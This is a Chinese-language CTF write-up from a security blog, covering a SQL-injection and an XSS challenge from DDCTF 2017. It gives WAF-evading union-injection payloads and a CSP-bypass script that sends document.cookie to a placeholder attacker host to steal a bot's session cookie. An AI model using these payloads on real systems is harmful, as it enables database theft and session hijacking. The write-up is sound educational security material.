ddctf 两道web题的Writeup (sqli & xss)
更新两篇之前在其他地方发过的文章
sqli
地址: https://118.190.134.8/t1/news.php?id=1
尝试sql注入,会发现过滤了’和空格等。使用
https://118.190.134.8/t1/news.php?id=1%0aand%0a1=1 和 https://118.190.134.8/t1/news.php?id=1%0aand%0a1=2 判断注入存在,开始思考出数据的方法
https://118.190.134.8/t1/news.php?id=1%0aorder%0aby%0a5
判断字段数为4
https://118.190.134.8/t1/news.php?id=1union%0aselect%0a1,2,3,4
发现过滤了逗号
那就不好用union出数据了,可选择使用盲注出数据比如(select%a0ascii(substr((select%a0TABLE_NAME%a0from%a0information_schema.tables%a0where%a0TABLE_TYPE%a0=%a0"BASE%a0TABLE"%a0limit%a01%a0OFFSET%a02)%a0from%a01%a0for%a01))=1)%23
。但是这里其实有一个union出数据的tip可以使用:
1 | mysql $> select 1,2,3,4 Union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d |
表:
https://118.190.134.8/t1/news.php
?id=-1%0aunion%0a(select%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a(
SELECT%0agroup_concat(table_name)%0aFROM%0ainformation_schema.tables%0aWHERE%0atable_schema%0a=%0a0x7431
))b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d)
表中列:
https://118.190.134.8/t1/news.php
?id=-1%0aunion%0a(select%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a(
SELECT%0agroup_concat(column_name)%0aFROM%0ainformation_schema.columns%0aWHERE%0atable_schema%0a=%0a0x7431
))b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d)
有个列叫secret,但是这个waf的黑名单中(https://118.190.134.8/t1/news.php?id=-1%a0union%a0(select%a0*%a0from%a0(select%a01)a%a0join%a0(select%a0
(select%a0group_concat(secret)%a0from%a0news)
)b%a0join%a0(select%a03)c%a0join%a0(select%a04)d)
触发waf),这个就有点故意刁难你的意思了。也是ctf的常用套路。
怎么不用列名出列数据呢?这里有一个新的tip:
select x.4 from (select 1,2,3,4)x
这样就可以利用位置代替列名了,最后出flag的payload
https://118.190.134.8/t1/news.php?id=-1%a0union%a0(select%a0*%a0from%a0(select%a01)a%a0join%a0(select%a0(select%0Ax.4%0Afrom%0A(select%0A*%0Afrom%0A(select%0A1)a%0Ajoin%0A(select%0A2)b%0Ajoin%0A(select%0A3)c%0Ajoin%0A(select%0A4)d%0AUNION%0Aselect%0A*%0Afrom%0Anews)x%0ALIMIT%0A1%0Aoffset%0A4))b%a0join%a0(select%a03)c%a0join%a0(select%a04)d)
xss
比起上一道题目xss更富有实战意义。
现在各种报错.
第一道坎是ctf管用套路, verification code (substr(md5($_POST['code']),6,6)==='417c85')
, 写个脚本跑一些md5出来用grep找即可
判断是一个xss的盲打题,有csp.
Content-Security-Policy:default-src ‘self’; script-src ‘self’
利用evi1m0同学挖掘到的CSP bypass,在远程服务器上收到了bot的请求包。(csp bypass: https://linux.im/2016/10/27/Bypass_unsafe_inline_mode_CSP.html)
这里你需要一个记录所有http请求包的HttpServer应用。我们需要查看程序请求包中的url和Referer等信息,例如:”https://gist.github.com/neargle/e6f4eb9bd37a9569237c7cc38783a735"。
我们可以根据log中的Referer找到BOT所访问的页面:
1 | [22:09:51] GET /ddctf? HTTP/1.1 |
Curl一下referer可知,该页面的所有内容就是我们提交的代码。这里需要一个脑洞,我们要用第一次提交内容来当js代码,获取Referer之后,提交第二次内容,包含第一次提交的js url,使得代码符合csp的限制并执行。
第一次payload:
1 | var n0t = document.createElement("link");n0t.setAttribute("rel", "prefetch");n0t.setAttribute("href", "//xxxxxx.com:8888/ddctf/?" + document.cookie);document.body.appendChild(n0t);//<link rel='prefetch' href='https://xxxxxxx:8888/ddctf'> |
拿到referer之后第二个payload:
1 | <script src="https://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=xxxxxxxxxxx"></script> |
这样我们就获取到了bot上面的cookie。使用cookie到message页面上一看,有一个url和一个hit。https://114.215.24.14/t2/f1ag_1s_h3r3/, hit:setcookie(“flag”, “xxxxxxx”, path=”/t2/f1ag_1s_h3r3/“);
页面内容:U need find it!!
需要去获取path下的cookie,重新构造payload。
1 | v = document.createElement("iframe"); |
cookie内有flag。
thanks
evi1m0
link
https://sec.didichuxing.com/DDCTF/2017.html#/
https://linux.im/2016/10/27/Bypass_unsafe_inline_mode_CSP.html
https://gist.github.com/neargle/e6f4eb9bd37a9569237c7cc38783a735
本博客所有内容只用于安全研究,请勿用于恶意攻击。
本文URL: "https://blog.neargle.com/2017/09/01/ddctf-web-xss-sqli-writeup/index.html"